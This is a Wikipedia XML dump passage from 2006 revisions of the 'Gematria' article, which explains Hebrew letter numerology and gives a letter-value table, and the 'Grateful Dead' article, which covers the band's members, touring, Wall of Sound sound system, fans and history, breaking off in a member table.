    <revision>
      <id>40363918</id>
      <timestamp>2006-02-20T01:54:24Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Gematria''' (&amp;#1490;&amp;#1497;&amp;#1502;&amp;#1496;&amp;#1512;&amp;#1497;&amp;#1492;) is [[numerology]] of the [[Hebrew language]] and [[Hebrew alphabet]]. Several forms can be identified: the &quot;revealed&quot; form and the &quot;mystical form&quot;.  The word itself comes from the Greek word 'geometry' and the concept or system is the same as the Greek [[isopsephy]]. Although Hebrew Gematria is the best known now, Greek Gematria predates it by many centuries. There is also a Gematria of Latin-script languages, dating from the early Middle Ages, and very possibly back into Roman times, too.

==Revealed Gematria==
The most common form of ''gematria'' is used occasionally in the [[Talmud]] and [[Midrash]] and elaborately by many post-Talmudic [[rabbinic literature|commentators]]. It involves reading words and sentences as numbers, assigning numerical instead of phonetic value to each letter of the [[Hebrew alphabet]]. When read as numbers, they can be compared and contrasted with other words. A commentary almost completely dedicated to ''gematria'' is [[Baal ha-Turim]] by [[Rabbi]] [[Jacob ben Asher]].

''Gematria'' is often used by the [[Maharal of Prague]] and [[Hasidic Judaism|hasidic]] [[Torah]] commentators (such as the &quot;''Sefath Emmeth''&quot; from [[Góra Kalwaria|Gur]]).

One fascinating application of ''gematria'' is its use by exegetes to suggest that authors of certain biblical texts were keenly aware of specific mathematical principles and properties.  For example, ''gematria'' has been employed to contend that the author of Kings, who according to traditionalists is [[Solomon]], was aware of the approximate value of [[Pi]]. Ostensibly, a plain reading of 1 Kings 7:23 indicates that its author believed that 3, rather than 3.14159, is the value of [[Pi]].  This tentative conclusion arises from the fact that the verse describes the molten sea that was made in the [[Temple]] as being 10 cubits from brim to brim (diameter) and as being encircled completely by a line of 30 cubits (circumference).  Since [[Pi]] is the ratio of a circle's circumference to the circle's diameter, it would seem that the author of Kings thought [[Pi]] has a value of 3.  

However, ''gematria'' may be used to militate against claims that this verse contains an example of biblical error.  In Jewish tradition, words appearing in portions of the Books of the Prophets are occasionally read (Kri) differently than they are written (Ktiv).  Some biblical scholars, such as [[Rabbi Judah Loew]] of Prague of the 16th Century (the [[Maharal]] of Prague), trace the provenance of the Kri/Ktiv dichotomy all the way back to the authors of the Books of the Prohpets.  In its written form (Ktiv), the verse uses the word KAVA (Kuf, Vav, Hey) for the molten sea's circumference. Yet, the word is read (Ktiv) as KAV (Kuf, Vav).  The numerical value of KAVA is 111 (Kuf = 100, Vav = 6, Hey = 5), while the numerical value of KAV is 106 (Kuf = 100, Vav = 6). 111/106 = 1.047169.  If 1.047169 (the value of the Kri divided by the Ktiv) is multiplied by 3 (the value that the author ostensibly attributes to Pi), the result is 3.14151, which closely approximates [[Pi]].  The [[Vilna Gaon]], a Rabbinic luminary of the 18th Century known for a remarkable mathematical prowess, is often credited with the discovery of this ''gematria.''

==Mystical Gematria==
''Gematria'' is a system of recognizing a correspondence between the ten ''sefirot'', or fires of [[God]], and the twenty two letters in the [[Hebrew alphabet]]. This system is elaborated in many mystical [[Judaism|Jewish]] writings such as the [[Zohar]].

One example of ''gematria'' is that there are twenty-two solid figures that are composed of [[polygon|regular polygons]]. There are five [[Platonic solid]]s, four [[Kepler-Poinsot solid]]s, and thirteen [[Archimedean solid]]s. Since there are twenty-two [[letter|letters]] in the [[Hebrew alphabet]], a correspondence can be inferred between these two disparate categories. The art of ''gematria'' is knowing which solid is associated with which letter.

Another example is that of [[Hebrew numerals]]. Although there are twenty-two letters, there are twenty-seven numerals necessary to express each number up to 999 (one through nine, ten through ninety, one hundred through nine hundred). The mystical Hebrew numeric system notes that the missing final five letters of the numeral system match exactly with the five '''sofit'' (word-final) alternate forms of the Hebrew letters.  

Another use is that words which have the same numerical value, share the same qualities, and reveal still other aspects of the Divine.

==Code==
The basic translation code is as follows:
{| border
|-
!Decimal
!Hebrew
!Glyph
|-
|[[1 (number)|1]]
|''Aleph''
| &amp;#1488;
|-
|[[2 (number)|2]]
|''Bet''
| &amp;#1489;
|-
|[[3 (number)|3]]
|''Gimmel''
| &amp;#1490;
|-
|[[4 (number)|4]]
|''Daled''
| &amp;#1491;
|-
|[[5 (number)|5]]
|''He''
| &amp;#1492;
|-
|[[6 (number)|6]]
|''Vav''
| &amp;#1493;
|-
|[[7 (number)|7]]
|''Zayin''
| &amp;#1494;
|-
|[[8 (number)|8]]
|''Het''
| &amp;#1495;
|-
|[[9 (number)|9]]
|''Tet''
| &amp;#1496;
|-
|[[10 (number)|10]]
|''Yod''
| &amp;#1497;
|-
|[[20 (number)|20]]
|''Kaf''
| &amp;#1499;, &amp;#1498;
|-
|[[30 (number)|30]]
|''Lamed''
| &amp;#1500;
|-
|[[40 (number)|40]]
|''Mem''
| &amp;#1502;, &amp;#1501;
|-
|[[50 (number)|50]]
|''Nun''
| &amp;#1504;, &amp;#1503;
|-
|[[60 (number)|60]]
|''Samekh''
| &amp;#1505;
|-
|[[70 (number)|70]]
|''Ayin''
| &amp;#1506;
|-
|[[80 (number)|80]]
|''Pe''
| &amp;#1508;, &amp;#1507;
|-
|[[90 (number)|90]]
|''Tsadik''
| &amp;#1510;, &amp;#1509;
|-
|[[100 (number)|100]]
|''Kof''
| &amp;#1511;
|-
|[[200 (number)|200]]
|''Resh''
| &amp;#1512;
|-
|[[300 (number)|300]]
|''Shin''
| &amp;#1513;
|-
|[[400 (number)|400]]
|''Tav''
| &amp;#1514;
|}


Some Kabbalistic uses of ''gematria'' recognize differing values for the final forms and assign multiples of [[1000 (number)|1000]] for letters that are drawn larger than those adjacent to them.
{|border
|-
!Decimal
!Hebrew
!Glyph
|-
|[[500 (number)|500]]
|''Kaf''
|&amp;#1498;
|-
|[[600 (number)|600]]
|''Mem''
|&amp;#1501;
|-
|[[700 (number)|700]]
|''Nun''
|&amp;#1503;
|-
|[[800 (number)|800]]
|''Pe''
|&amp;#1507;
|-
|[[900 (number)|900]]
|''Tsadik''
|&amp;#1509;
|}

==See also==
* [[Jewish mysticism]]
* [[Kabbalah]]
* [[Notaricon]]
* [[Temurah]]
* [[Mysticism]]
* [[Metaphysics]]
* [[Hebrew language]]
* [[Hebrew numerals]]
* [[Hebrew alphabet]]
* [[Mathers table]]
* [[Numerology]]
* The [[Bible Code]] is another method for extracting hidden meaning from the Hebrew Bible.
* [[Theomatics]]
* [[Abjad numerals]]

==External links==
&lt;!--Please do not insert links to yet another calculator without discussing its merits on the talk page--&gt;
* [http://baraksh.co.il/webgim WebGim - An interactive Gematria calculator, which includes results from Torah verses. (Hebrew)]
* [http://hebrew4christians.com/Grammar/Unit_Eight/Hebrew_Gematria/hebrew_gematria.html Introduction to Hebrew Gematria Methods]

[[Category:Hebrew alphabet]]
[[Category:Judaism]]
[[Category:Kabbalah]]
[[Category:Mysticism]]
[[Category:Numerology]]

[[es:Gematría]]
[[fr:Gematria]]
[[he:גימטריה]]
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[[sl:Gematrija]]</text>
    </revision>
  </page>
  <page>
    <title>Grateful Dead</title>
    <id>12542</id>
    <revision>
      <id>41858531</id>
      <timestamp>2006-03-02T04:45:52Z</timestamp>
      <contributor>
        <ip>4.18.30.2</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_band |
  band_name         = The Grateful Dead |
  image             = [[Image:gdead2.jpg|230px]] |
  years_active      = [[1965]] &amp;ndash; [[1995]] |
  status            = Dissolved |
  country           = [[San Francisco]], [[California]], [[USA]] |
  music_genre       = [[Psychedelic music|Psychedelic rock]], [[Country rock]], [[Folk rock]] |
  record_label      = [[Warner Brothers Records]] (1965-1972)&lt;br /&gt;[[Grateful Dead Records]] (1973-1976)&lt;br /&gt;[[Arista Records]] (1977-1989)&lt;br&gt;[[Rhino Records]] (Remasters) (2001-present) |
  current_members   = [[Jerry Garcia]]&lt;br /&gt;[[Bob Weir]]&lt;br /&gt;[[Phil Lesh]] &lt;br /&gt;[[Bill Kreutzmann]]&lt;br /&gt;[[Ron &quot;Pigpen&quot; McKernan]]&lt;br /&gt;[[Mickey Hart]]&lt;br /&gt;[[Tom Constanten]]&lt;br /&gt;[[Keith Godchaux]]&lt;br /&gt;[[Donna Jean Godchaux]]&lt;br /&gt;[[Brent Mydland]]&lt;br /&gt;[[Vince Welnick]]
}}

The '''Grateful Dead''' was an [[United States|American]] [[psychedelia]]-influenced [[Rock (music)|rock]] band. Formed in [[1965]] in [[San Francisco]] from the remnants of another band, &quot;''Mother McCree's Uptown Jug Champions'',&quot; the Grateful Dead were known for their unique and [[eclectic]] songwriting style&amp;#8212;which fused elements of rock, [[folk music]], [[bluegrass music|bluegrass]], [[blues]], [[country music|country]], and [[jazz]]&amp;#8212;and for live performances of long [[musical mode|modal]] [[Improvisation#Music|jams]].

Some of the band's fans followed the band from [[concert]] to concert for years. These  so-called [[Deadhead]]s were renowned for their dedication to the band's [[music]].  Many followers referred to the band simply as '''The Dead'''.

The Grateful Dead's career began under the name &quot;''The Warlocks''&quot; in [[Palo Alto, California]], but as another band was already recording under that name (interestingly, it was the future [[Velvet Underground]]), the band had to change its name in order to get a recording contract. After meeting their new manager [[Rock Scully]], they moved to the Haight-Ashbury section of San Francisco.  Many bands from this area, such as [[Jefferson Airplane]], [[Big Brother &amp; the Holding Company]], and [[Carlos Santana|Santana]], went on to national fame, giving San Francisco an image as a center for the [[hippie]] [[counterculture]] of the era. (Also see entry for the [[San Francisco Sound]].)  Of these bands, the Grateful Dead had members with arguably the highest level of musicianship, including [[banjo]] and [[guitar]] player [[Jerry Garcia]], blues musician [[Ron &quot;Pigpen&quot; McKernan|&quot;Pigpen&quot; McKernan]], the classically trained [[Phil Lesh]] and drummer [[Bill Kreutzmann]] {{ref|musicianlybackground}}. The Grateful Dead most embodied &quot;all the elements of the San Francisco scene and came, therefore, to represent the counterculture to the rest of the country&quot; {{ref|SanFrancisco}}.

The name &quot;Grateful Dead&quot;  was chosen from a dictionary.  Some claim it was a Funk &amp; Wagnalls, others an Oxford Dictionary, but according to Phil Lesh, in his biography (pp. 62), ''&quot;...Jer ''(Garcia)'' picked up an old [[Britannica]] World Language Dictionary...(and)...In that silvery elf-voice he said to me, 'Hey, man, how about the Grateful Dead?'&quot;''

The Grateful Dead became the de facto resident band of [[Ken Kesey]]'s [[Merry Pranksters]], with the early sound heavily influenced by Kesey's [[LSD]]-soaked [[Acid Test]]s, as well as [[R&amp;B]]. Their musical influences varied widely with input from the [[psychedelic music]] of the era, combined with [[blues]], [[jazz]], [[rock and roll]], and [[bluegrass music|bluegrass]]. These various influences were distilled into a diverse and psychedelic whole that made the Grateful Dead &quot;the pioneering Godfathers of the [[jam band]] world.&quot; {{ref|experimental}}. 

==Membership==
De facto [[bandleader]] '''[[Jerry Garcia]]''' was the [[lead guitarist]] for the band—-although he was often seen both by the public and the media as '[[leader]]' or a primary spokesperson for the Grateful Dead, he was reluctant to be seen that way, especially since Garcia and the other group members saw themselves as equal participants and contributors to their [[collective]] musical and creative output.  Jerry was a native of [[San Francisco]] and grew up in the [[Excelsior District]]. One of the main influences on his musical style was [[bluegrass music]], and Garcia also performed-—on [[banjo]], his other great instrumental love-—in the bluegrass band [[Old and in the Way]] with [[mandolin]]ist [[David Grisman]]. Classically-trained trumpeter [[Phil Lesh]] played [[bass guitar]]. [[Bob Weir]], the youngest original member of the group, played [[rhythm guitar]]. [[Ron &quot;Pigpen&quot; McKernan]] played [[Hammond organ|keyboards]], [[harmonica]] and was also a group [[Singer|vocalist]] until shortly before his death in [[1973]] at the age of 27. All of the previously mentioned Grateful Dead members shared in [[Singer|vocal]] performance of songs, although none of them had a particularly strong or tuneful voice. [[Bill Kreutzmann]] played [[drum]]s, and in [[1968]] was joined by a second drummer, [[New York]] native [[Mickey Hart|Mickey Hart]], who also played a wide variety of other [[Percussion instrument|percussion]] instruments. Hart quit the Grateful Dead in [[1971]], embarrassed by the financial misdealings of his father, Dead money manager [[Lenny Hart]], and leaving Kreutzmann once again as the sole percussionist. Hart rejoined the Dead for good in [[1975]]. [[Tom Constanten|Tom &quot;TC&quot; Constanten]] played keyboards alongside Pigpen from [[1968]] to [[1970]]. Two years later, in late [[1971]], Pigpen was joined by another keyboardist, [[Keith Godchaux]], who played [[grand piano]] alongside Pigpen's [[Hammond organ|Hammond B-3 organ]]. In early [[1972]], Keith's wife, [[Donna Jean Godchaux]], joined the Dead as a backing vocalist. Keith and Donna left the band in [[1979]], and [[Brent Mydland]] joined as keyboardist and vocalist. [[Keith Godchaux]] died in a car accident in [[1980]]. [[Brent Mydland]] was the keyboardist for the Dead for 11 years until his [[death]] in [[1990]]. He became the third Dead keyboardist to die. Almost immediately, former [[Tubes]] keyboardist [[Vince Welnick]] joined on keyboards and vocals. For a year and a half, Welnick was often joined by special guest [[Bruce Hornsby]] on piano. [[Robert Hunter (lyricist)|Robert Hunter]] and [[John Perry Barlow]] were the band's primary [[lyricist]]s.  [[Owsley Stanley|Owsley &quot;Bear&quot; Stanley]] was the Grateful Dead's [[sound engineer|soundman]] for many years; he was also one of the largest suppliers of [[LSD]].

==Touring==
[[Image:gdead5.jpg|thumb|150px|left|Early photo of the band at their communal home in the Haight-Ashbury district of San Francisco, late 60's.]]
The Grateful Dead are well-known for their near constant touring throughout their long career in music.  They promoted a sense of community among their fans, who became known as ''[[Deadhead]]s'', many of whom followed their tours for months or years on end.  In their early years, the band was also dedicated to their community, the [[Haight-Ashbury]] area of [[San Francisco]], making available free food, lodging, music and health care to all comers; they were the &quot;first among equals in giving unselfishly of themselves to hippie culture, performing 'more free concerts than any band in the history of music'&quot; {{ref|philanthropy}}.
[[Image:gdead1.jpg|frame|right|Original lineup of The Grateful Dead, 1971.]]

With the exception of [[1975]], when the band was on &quot;hiatus&quot; and played only four concerts together, the Grateful Dead toured regularly around the USA from the winter of [[1965]] until [[July 9]], [[1995]]&amp;mdash;with a few detours to [[Canada]], [[Europe]] and three nights at the [[Great Pyramid of Giza]] in [[Egypt]] in [[1978]]. (They also appeared at the legendary [[Monterey Pop Festival]] in [[1967]] and the even more famous [[Woodstock Festival]] in [[1969]]; their largest concert audience came in [[1973]] when they played, along with [[The Allman Brothers Band]] and [[The Band]], before an estimated 600,000 people at the [[Summer Jam at Watkins Glen]].)

Their numerous [[studio]] albums were generally collections of new songs that had been initially played in concert. The band was famous for its extended jams, which showcased both individual [[improvisation]] as well as a distinctive &quot;group-mind&quot; improvisation where each of the band members improvised individually, while still blending together as a cohesive musical unit, often engaging in extended improvisational flights of fancy. A hallmark of their concert sets were continuous sets of music where each song would blend into the next (a [[segue]]). Musically this may be illustrated in that the band not only improvised within the form of a song, yet also improvised with the forms.

===Wall of Sound===
The [[Wall of Sound]] was an enormous sound system designed specifically for the Grateful Dead.  The band were never satisfied with the house system anywhere they played, so in their early days, soundman [[Owsley Stanley|Owsley &quot;Bear&quot; Stanley]] designed a PA and monitor system for them. Stanley's sound systems were delicate and finicky, and frequently brought shows to a halt with technical issues. After Stanley was placed in jail for LSD production in [[1970]], the group briefly used house PAs, but ultimately found them to be less reliable than the systems conceived by their former soundman. In [[1971]], the band purchased their first solid sound system from [[Alembic Inc]] Studios. Because of this, Alembic would play an integral role in the research, development, and production of the Wall of Sound. The band also welcomed [[Dan Healy]] into the fold on a permanent basis that year; Healy was a superior engineer to Stanley and would mix the Grateful Dead's live sound until [[1993]].

The desire driving the development of the Wall of Sound was for a distortion-free sound system that could serve as its own monitor system. After [[Owsley Stanley]] was released from prison in late 1972, he, along with [[Dan Healey]], Mark Raizene of the Grateful Dead's sound crew, and Ron Wickersham, [[Rick Turner]], and John Curl of [[Alembic Inc]] accomplished this by essentially combining eleven separate sound systems.  Vocals, lead guitar, rhythm guitar, and piano each had their own channel and set of speakers.  Phil Lesh's bass was quadraphonic, each of the four strings having its own channel and set of speakers.  One channel amplified the bass drum, and two channels amplified the other drums and cymbals in stereo.  Because each speaker was producing the sound of just one instrument or vocalist, the sound was exceptionally clear and intermodulation distortion between instruments was nonexistent.  

The Wall of Sound was designed to act as its own monitor system, and it was therefore assembled behind the band so the members could hear exactly what their audience was hearing.  Because of this, a special microphone system had to be designed to prevent feedback.  The Dead used matched pairs of condenser microphones spaced 60mm apart and run out-of-phase.  The vocalist sang into the top microphone, and the lower mic picked up whatever other sound was present in the stage environment.  The signals were summed, the sound that was common to both mics (the sound from the Wall) was cancelled, and only the vocals were amplified.

The Wall of Sound used 89 300-Watt solid state and three 350-Watt tube amplifiers to produce 26,400 total Watts RMS of audio power.  It was capable of producing acceptable sound at a quarter mile, and excellent sound for up to six hundred feet, when the sound began to be distorted by wind.  It was the largest portable sound system ever built (although &quot;portable&quot; is a relative term).  Four semi trucks and 21 crew members were required to haul and set up the 75-ton Wall.

Though the initial framework and a rudimentary form of the system was unveiled in February 1973 (ominously, every speaker tweeter blew as the band began their first number), the Grateful Dead did not begin to tour with the full system until a year later in [[1974]]. The Wall of Sound was very efficient for its day, but it did have its pitfalls in addition to its sheer size. Synthesist [[Ned Lagin]], who toured with the group throughout much of [[1974]], never received his own dedicated input into the system, and was forced to use the vocal subsystem for amplification. Because this was often switched to the vocal mikes, many of Lagin's parts were lost in the mix. The Wall's quadraphonic format never translated well to soundboard tapes made during the period, as the sound was compressed into an unnatural stereo format and suffers from a pronounced tinniness. 

The rising cost of fuel and personnel, as well as friction among many of the newer crew members (and associated hangers-on), contributed to the band's [[1974]] &quot;retirement.&quot;  The Wall of Sound was disassembled, and when the Dead began touring again in [[1976]], it was with a more logistically practical sound system.

''''''[[Image:gdead3.jpg|thumb|125px|left|Two Grateful Dead icons rolled into one]]

=== Steal Your Face === 

In the words of Owsley Stanley:

In 1969 the Dead were renting a warehouse in Novato, California. I was sound man for the band at the time, and lived in Oakland. Bob Thomas, an old friend of mine had just moved from LA to the Bay area and needed a place to stay, and we needed someone to look after the warehouse, which had had a problem with break-ins.

Bob was a superb graphic artist whose work is now familiar to most Deadheads in the form of the Live Dead album cover and the Bear's Choice cover, on which the popular Dancing Bears appeared.

The Dead in those days had to play in a lot of festival style shows where the equipment would all wind up at the back of the stage in a muddle. Since every band used pretty much the same type of gear it all looked alike. We would spend a fair amount of time moving the pieces around so that we could read the name on the boxes. I decided that we needed some sort of marking that we could identify from a distance.

I was in the habit of driving from Oakland to Novato in a little MGTF which had plastic side curtains, which were not very transparent, due to aging of the plastic. One day in the rain, I looked out the side and saw a sign along the freeway which was a circle with a white bar across it, the top of the circle was orange and the bottom blue. I couldn't read the name of the firm, and so was just looking at the shape. A thought occurred to me: if the orange were red and the bar across were a lightning bolt cutting across at an angle, then we would have a very nice, unique and highly identifiable mark to put on the equipment.

At the warehouse I told Bob the idea that I had, and he made a quick sketch. A mutual friend, Ernie Fischbach, who was visiting with Bob, said &quot;Give it to me, I'll show you an easy way to put it on the boxes.&quot; Whereupon he proceeded to cut holes in a couple of pieces of stencil paper. One was a circular hole, about 5 1/2 inches in diameter, and the other was a part of a circle 5 inches in diameter. But it was a half circle with a jagged edge. Then he held the stencil to an amp and sprayed a circle of white paint. Then with one side up, the red half circle went on top of the dried white paint and after wiping off the red and turning the stencil over, the blue was applied. This was the first version, and we put it on to all our gear. It helped make it easier to find our stuff in the crunch. I still have an old toolbox with one of the stencils on it. 

A few days later I was talking to Bob and suggested that perhaps the words &quot;Grateful dead&quot; could be placed under the circle, using a style of lettering that would appear to be a skull if you saw it from a distance (I guess I was influenced by too many posters of the time). Any way a few hours later he came down from the loft with the design we know and love.
 {{fact}}

===Deadheads===
Many of their fans, commonly referred to as Deadheads, would follow the band on tour. In contrast to many other bands, the Grateful Dead encouraged their fans to tape their shows. For many years, almost all of their shows would have dedicated taping sections.  The band allowed sharing of tapes of their shows, as long as no [[profit]]s were made on the sale of their show tapes. In the [[1980s]], the band scored a [[top 40]] [[hit]] with the song &quot;[[Touch of Grey]]&quot; (from ''In the Dark''), which garnered a much younger and more [[mainstream]] [[fandom]] that was considered sharply different from the traditional Deadheads.  These new followers were deemed &quot;Touchheads&quot; by the more established fans, a reference to their relative inexperience with the band.  The late 1980s and 90s saw the Grateful Dead attracting a huge following that left many long time deadheads in doubt as to whether people were coming out for shows to see the band, or simply to be part of the atmosphere.  Whatever their differences, the deadheads are often considered to be the most devoted fans in the rock world.

The parking lot of a Grateful Dead concert was as much a part of the event as the concert itself. One could find items for sale at many cars in the lot, from grilled cheese sandwiches to &quot;kind&quot; brews and nitrous balloons. (Some deadheads would earn their entire touring budget selling such items.)  Concertgoers typically congregated in the lot for hours before a show, playing guitar, hacky sacking and getting high. After the show, a deadhead with the post-show munchies could probably find a grilled cheese sandwich made on a camping stove at the door of a VW bus by a friendly hippie.

=== Live releases ===
[[Image:gdead4.jpg|frame|right|Late lineup of The Grateful Dead, mid-90s.]]
Starting in [[1991]], the Grateful Dead released numerous live concerts from their archives in two concurrent series: the ''From the Vault'' releases are multi-track remixes, whereas the ''Dick's Picks'' series (named for the band's late archivist, [[Dick Latvala]]) are based on two-track mixes made at the time of the recording. There have been at least 36 Dick's Picks releases [[As of 2005|as of November 2005]]. A series of videos began to trickle out of &quot;The Vault&quot;, starting with ''View From the Vault'' (recorded in [[Pittsburgh]] on [[July 8]],  [[1990]] at [[Three Rivers Stadium]]) and ''View from the Vault II'' (recorded in [[Washington, DC]] on [[June 14]],  [[1991]] at [[Robert F. Kennedy Memorial Stadium|RFK Stadium]]); these releases are accompanied by the simultaneous release of multi-disc soundtrack CDs of the same shows represented on the videos. All three series of releases continue to this day.

In the summer of [[2005]] the Dead began offering downloadable versions of both their existing live releases, and a new internet-only series, ''The Grateful Dead Download Series'', that is available exclusively through both their own GDStore.com (which offers the albums in both 256 kbit/s [[mp3]] files and [[FLAC]] files -- a preferred audio standard for those who archive Dead and other fan-made live recordings on the Internet) and the [[iTunes Music Store]] (which offers them in their 128 kbit/s [[AAC]] format). Not surprisingly, these Internet-only albums have met with the same success as their CD-based brethren.

In [[November]] of [[2005]], the Dead's management outraged fans by asking the operators of the popular [[Internet Archive]] (archive.org) to stop making concerts available for download, and to offer only streamcast recordings instead. The band's spokesman, [[Dennis McNally]], claimed such a repository &quot;doesn't represent Grateful Dead values&quot; because it doesn't foster one-to-one connections between fans. However, [[David Gans]], host of a syndicated radio program, &quot;The Grateful Dead Hour,&quot; speculates that the band is motivated by money, noting &quot;when they were making $50 million a year on the road, there wasn't a lot of pressure to monetize their archives.&quot;[http://www.nytimes.com/2005/11/30/arts/music/30dead.html?hp&amp;ex=1133413200&amp;en=e55a04436f0887b4&amp;ei=5094&amp;partner=homepage]

The removal of the Dead's concerts from Archive.org created a storm of protest, in addition to a rapidly spreading boycott of the band's remaining commercial products. Several days after the announcement that the concerts had been removed, Brewster Kahle of Archive.Org made a cryptic announcement that audience tapes of the concerts would again become available, though so-called board tapes would only be available as streaming audio. Kahle claimed that the whole affair had been a &quot;misunderstanding,&quot; but [[John Perry Barlow]], one of the band's lyricists, claimed that concerts had been restored after several members of the band had backed away from their earlier opposition after realizing they had created a public relations &quot;catastrophe.&quot;

==History==
The Grateful Dead formed during the era when bands like the [[Beatles]] and [[Rolling Stones]] were dominating the airwaves.  Former folk-scene star [[Bob Dylan]] had recently put out a couple of records featuring electric instrumentation.  Grateful Dead members have said that it was after attending a concert by the touring [[New York]] &quot;folk-rock&quot; band [[The Lovin' Spoonful]] that they decided to &quot;go electric.&quot;  Gradually, many of the East-Coast American [[folk music]]ians, formerly luminaries of the coffee-house scene, were moving in the electric direction. It was natural for [[Jerry Garcia]] and [[Bob Weir]], each of whom had been immersed in the American folk-music revival of the late 1950s and early '60s, to be open-minded toward electric guitars. But the new Dead music was also naturally different from bands like Dylan's or the Spoonful, partly because their fellow musician [[Phil Lesh]] came out of a schooled [[classical]] and electronic-music background, while [[Ron &quot;Pigpen&quot; McKernan]] was a no-nonsense deep [[blues]] lover and drummer [[Bill Kreutzmann]] had a [[jazz]] background.  Listening to their first LP (''[[The Grateful Dead (album)|''The Grateful Dead'']]'', Warner Brothers, 1967), one is also reminded that it was recorded only a few years after the big &quot;surfing music&quot; craze; ''that'' California rock-music sound seeped in, to some degree, as well.
[[image:Grateful_Dead-American_Beau.jpg|thumb|right|The cover of the 1970 album ''[[American Beauty (album)|American Beauty]]'']]

The Grateful Dead’s early music (in the mid 1960s) was part of the process of establishing what &quot;[[psychedelic music]]&quot; was, but theirs was essentially a &quot;street party&quot; form of it. This was natural, because they played psychedelic dances, open-air park events, and closed-street [[Haight-Ashbury]] block parties. The Dead were not inclined to fit their music to an established category such as pop rock, blues, folk rock, or country/western.  Individual tunes within their repertoire could be identified under one of these stylistic labels, but overall their music drew on all of these genres and more, frequently melding several of them. Often (both in performance and on recording) the Dead left room for exploratory, spacey soundscapes&amp;#8212;a form of psychedelia that might run the gamut from strange to exotically beautiful. Most connoisseurs believe that the Grateful Dead's true spirit was rarely well captured in studio performance.

The early records reflected the Dead's live repertoire &amp;#8212; lengthy instrumental jams with [[guitar]] solos by Garcia, best exemplified by &quot;[[Dark Star (song)|Dark Star]]&quot; &amp;#8212; but, lacking the energy of the shows, did not sell well. The [[1969]] live album ''[[Live/Dead]]'' did capture more of their essence, but commercial success did not come until ''[[Workingman's Dead]]'' and ''[[American Beauty (album)|American Beauty]]'', both released in [[1970]]. These records largely featured the band's laid-back acoustic musicianship and more traditional [[song]] [[structure]]s.

=== Dissolution and Continuation of the band ===
Following Garcia's death in [[1995]], the remaining members formally decided to disband. Though some of them occasionally toured through the late [[1990s]] under the name &quot;[[The Other Ones]]&quot;, they mainly chose to pursue various solo projects, most notably [[Bob Weir]]'s [[Ratdog]], [[Phil Lesh and Friends]] and Mickey Hart's music for the [[1996 Olympics]]. The remaining members occasionally got together under the [[pseudonym]] ''Crusader Rabbit Stealth Band'' during the late 1990s, infrequently playing unannounced shows. The mid-[[2002]] [[autumn|fall]] tour of [[The Other Ones]], with Bob, Bill, Phil and Mickey, was so successful and satisfying that the band decided the name was no longer appropriate. On [[February 14]], [[2003]], (as they said) &quot;reflecting the reality that [was],&quot; they renamed themselves [[The Dead]], reflecting the abbreviated form of the band name that fans had long used and keeping &quot;Grateful&quot; retired out of respect for Garcia. The members would continue to tour on and off through the end of their 2004 Summer Tour, the &quot;Wave That Flag&quot; tour, named after a lyric from the song, &quot;U.S. Blues.&quot;  The band accepted Warren Haynes as their new lead guitarist.  Haynes is best known for his work with Gov't Mule and the Allman Brothers Band.  The band did not tour in 2005, due to a fight between Bob Weir and Phil Lesh over how they believe certain things happened in the history of the band.  Their inability to reconcile these differences kept Deadheads from seeing a tour to celebrate the 40th anniversary of the Grateful Dead, and also made the annual celebration honoring Jerry Garcia seem a little flat, as his own bandmates couldn't put aside their differences to take the stage together in his honor.  As of now, any future plans are unknown, and are largely contingent on Weir and Lesh making up.

==Bandmembers==
*[[Jerry Garcia]] - lead guitar, vocals (1965 - 1995)
*[[Bob Weir]] - rhythm guitar, vocals (1965 - 1995)
*[[Phil Lesh]] - bass, vocals (1965 - 1995)
*[[Bill Kreutzmann]] - drums (1965 - 1995)
*[[Mickey Hart]] - drums (1967 - 1971, 1975 - 1995)
*[[Ron &quot;Pigpen&quot; McKernan]] - keyboards, vocals, harmonica, percussion (1965 - 1973)
*[[Tom Constanten]] - keyboards (1968 - 1970)
*[[Keith Godchaux]] - keyboards (1971 - 1979)
*[[Donna Jean Godchaux]] - vocals (1972 - 1979)
*[[Brent Mydland]] - keyboards, vocals (1979 - 1990)
*[[Vince Welnick]] - keyboards, vocals (1990 - 1995)

{| class=&quot;toccolours&quot;  border=1 cellpadding=2 cellspacing=0; width: 375px; margin: 0 0 1em 1em; border-collapse: collapse; border: 1px solid #E2E2E2;&quot;
|+ &lt;big&gt;Grateful Dead Band Members (By Year)&lt;/big&gt; 
|-
! bgcolor=&quot;#E7EBEE&quot; | (1965-1967)
| 
* [[Jerry Garcia]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Bob Weir]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Ron &quot;Pigpen&quot; McKernan]] - [[Keyboard instrument|keyboards]], [[harmonica]], [[vocals]], [[percussion]] &lt;BR&gt;
* [[Phil Lesh]] - [[bass guitar]], [[vocals]] &lt;BR&gt;
* [[Bill Kreutzmann]] - [[drums]] &lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1967-1968)
| 
* [[Jerry Garcia]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Bob Weir]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Ron &quot;Pigpen&quot; McKernan]] - [[Keyboard instrument|keyboards]], [[harmonica]], [[vocals]], [[percussion]] &lt;BR&gt;
* [[Phil Lesh]] - [[bass guitar]], [[vocals]] &lt;BR&gt;
* [[Bill Kreutzmann]] - [[drums]] &lt;BR&gt;
* [[Mickey Hart]] - [[drums]] &lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1968-1970)
| 
* [[Jerry Garcia]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Bob Weir]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Ron &quot;Pigpen&quot; McKernan]] - [[Keyboard instrument|keyboards]], [[harmonica]], [[vocals]], [[percussion]] &lt;BR&gt;
* [[Tom Constanten]] - [[Keyboard instrument|keyboards]] &lt;BR&gt;
* [[Phil Lesh]] - [[bass guitar]], [[vocals]] &lt;BR&gt;
* [[Bill Kreutzmann]] - [[drums]] &lt;BR&gt;
* [[Mickey Hart]] - [[drums]] &lt;BR&gt;
|-
!  bgcolor=&quot;#E7EBEE&quot; | (1970-1971)
| 
* [[Jerry Garcia]] - [[guitar]], [[vocals]] &lt;BR&gt;
* [[Bob Weir]] - [[guitar]], [[vocals]] &lt;BR&gt;
